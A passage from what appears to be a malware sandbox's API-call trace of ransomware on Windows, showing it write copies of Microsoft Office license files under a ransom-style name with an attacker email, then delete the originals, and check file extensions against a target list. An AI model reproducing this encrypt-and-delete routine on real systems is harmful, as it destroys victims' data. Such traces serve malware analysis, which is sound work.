lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0216.652] SetEndOfFile (hFile=0x4b4) returned 1 [0216.652] CloseHandle (hObject=0x4b4) returned 1 [0216.652] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.652] SetEndOfFile (hFile=0x378) returned 1 [0216.656] CloseHandle (hObject=0x378) returned 1 [0216.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms")) returned 1 [0216.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.657] lstrlenW (lpString=".doc") returned 4 [0216.657] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.657] lstrlenW (lpString=".docx") returned 5 [0216.657] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.657] lstrlenW (lpString=".pdf") returned 4 [0216.657] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.657] lstrlenW (lpString=".xls") returned 4 [0216.657] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.657] lstrlenW (lpString=".xlsx") returned 5 [0216.657] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.657] lstrlenW (lpString=".ppt") returned 4 [0216.657] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.657] lstrlenW (lpString=".zip") returned 4 [0216.657] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.657] lstrlenW (lpString=".rar") returned 4 [0216.657] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.657] lstrlenW (lpString=".bz2") returned 4 [0216.657] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.657] lstrlenW (lpString=".7z") returned 3 [0216.657] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.657] lstrlenW (lpString=".dbf") returned 4 [0216.657] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.658] lstrlenW (lpString=".1cd") returned 4 [0216.658] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.658] lstrlenW (lpString=".jpg") returned 4 [0216.658] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.658] lstrlenW (lpString=".doc") returned 4 [0216.658] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString=".docx") returned 5 [0216.658] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.658] lstrlenW (lpString=".pdf") returned 4 [0216.658] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString=".xls") returned 4 [0216.658] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString=".xlsx") returned 5 [0216.658] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.658] lstrlenW (lpString=".ppt") returned 4 [0216.658] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.658] lstrlenW (lpString=".zip") returned 4 [0216.658] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString=".rar") returned 4 [0216.658] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString=".bz2") returned 4 [0216.658] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString=".7z") returned 3 [0216.658] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.658] lstrlenW (lpString=".dbf") returned 4 [0216.658] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.658] lstrlenW (lpString=".1cd") returned 4 [0216.659] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms") returned 84 [0216.659] lstrlenW (lpString=".jpg") returned 4 [0216.659] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.659] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.659] lstrlenW (lpString="ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 37 [0216.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.662] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11629) returned 1 [0216.662] CloseHandle (hObject=0x378) returned 1 [0216.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0216.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.663] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.663] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0216.664] GetLastError () returned 0x0 [0216.664] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d6d, lpOverlapped=0x0) returned 1 [0216.666] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0216.667] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.667] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11e, lpOverlapped=0x0) returned 1 [0216.667] SetEndOfFile (hFile=0x4b4) returned 1 [0216.667] CloseHandle (hObject=0x4b4) returned 1 [0216.667] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.667] SetEndOfFile (hFile=0x378) returned 1 [0216.670] CloseHandle (hObject=0x378) returned 1 [0216.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms")) returned 1 [0216.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.672] lstrlenW (lpString=".doc") returned 4 [0216.672] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.672] lstrlenW (lpString=".docx") returned 5 [0216.672] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.672] lstrlenW (lpString=".pdf") returned 4 [0216.672] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.672] lstrlenW (lpString=".xls") returned 4 [0216.672] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.672] lstrlenW (lpString=".xlsx") returned 5 [0216.672] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.672] lstrlenW (lpString=".ppt") returned 4 [0216.672] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.672] lstrlenW (lpString=".zip") returned 4 [0216.672] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.672] lstrlenW (lpString=".rar") returned 4 [0216.672] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.672] lstrlenW (lpString=".bz2") returned 4 [0216.672] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.672] lstrlenW (lpString=".7z") returned 3 [0216.672] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.672] lstrlenW (lpString=".dbf") returned 4 [0216.672] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.673] lstrlenW (lpString=".1cd") returned 4 [0216.673] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.673] lstrlenW (lpString=".jpg") returned 4 [0216.673] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.673] lstrlenW (lpString=".doc") returned 4 [0216.673] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString=".docx") returned 5 [0216.673] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.673] lstrlenW (lpString=".pdf") returned 4 [0216.673] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString=".xls") returned 4 [0216.673] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString=".xlsx") returned 5 [0216.673] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.673] lstrlenW (lpString=".ppt") returned 4 [0216.673] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.673] lstrlenW (lpString=".zip") returned 4 [0216.673] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString=".rar") returned 4 [0216.673] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString=".bz2") returned 4 [0216.673] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString=".7z") returned 3 [0216.673] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.673] lstrlenW (lpString=".dbf") returned 4 [0216.673] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.674] lstrlenW (lpString=".1cd") returned 4 [0216.674] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms") returned 87 [0216.674] lstrlenW (lpString=".jpg") returned 4 [0216.674] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.674] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.674] lstrlenW (lpString="ProjectStdO365R_SubTrial-pl.xrm-ms") returned 34 [0216.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.675] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11187) returned 1 [0216.675] CloseHandle (hObject=0x378) returned 1 [0216.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms")) returned 0x220 [0216.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.675] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.675] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0216.676] GetLastError () returned 0x0 [0216.676] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bb3, lpOverlapped=0x0) returned 1 [0216.989] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0216.990] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.991] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0216.991] SetEndOfFile (hFile=0x4b4) returned 1 [0216.991] CloseHandle (hObject=0x4b4) returned 1 [0216.991] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.991] SetEndOfFile (hFile=0x378) returned 1 [0216.994] CloseHandle (hObject=0x378) returned 1 [0216.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms")) returned 1 [0216.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.996] lstrlenW (lpString=".doc") returned 4 [0216.996] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.996] lstrlenW (lpString=".docx") returned 5 [0216.996] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.996] lstrlenW (lpString=".pdf") returned 4 [0216.996] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.996] lstrlenW (lpString=".xls") returned 4 [0216.996] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.996] lstrlenW (lpString=".xlsx") returned 5 [0216.996] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.996] lstrlenW (lpString=".ppt") returned 4 [0216.996] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.996] lstrlenW (lpString=".zip") returned 4 [0216.996] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.996] lstrlenW (lpString=".rar") returned 4 [0216.996] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.996] lstrlenW (lpString=".bz2") returned 4 [0216.996] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.996] lstrlenW (lpString=".7z") returned 3 [0216.996] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.996] lstrlenW (lpString=".dbf") returned 4 [0216.996] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.996] lstrlenW (lpString=".1cd") returned 4 [0216.997] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.997] lstrlenW (lpString=".jpg") returned 4 [0216.997] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.997] lstrlenW (lpString=".doc") returned 4 [0216.997] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString=".docx") returned 5 [0216.997] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.997] lstrlenW (lpString=".pdf") returned 4 [0216.997] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString=".xls") returned 4 [0216.997] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString=".xlsx") returned 5 [0216.997] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.997] lstrlenW (lpString=".ppt") returned 4 [0216.997] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.997] lstrlenW (lpString=".zip") returned 4 [0216.997] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString=".rar") returned 4 [0216.997] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString=".bz2") returned 4 [0216.997] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString=".7z") returned 3 [0216.997] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.997] lstrlenW (lpString=".dbf") returned 4 [0216.997] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.997] lstrlenW (lpString=".1cd") returned 4 [0216.997] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms") returned 84 [0216.998] lstrlenW (lpString=".jpg") returned 4 [0216.998] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.998] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.998] lstrlenW (lpString="ProjectStdR_Retail-ppd.xrm-ms") returned 29 [0216.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.998] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20782) returned 1 [0216.998] CloseHandle (hObject=0x378) returned 1 [0216.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms")) returned 0x220 [0216.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.999] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.999] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0217.000] GetLastError () returned 0x0 [0217.000] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x512e, 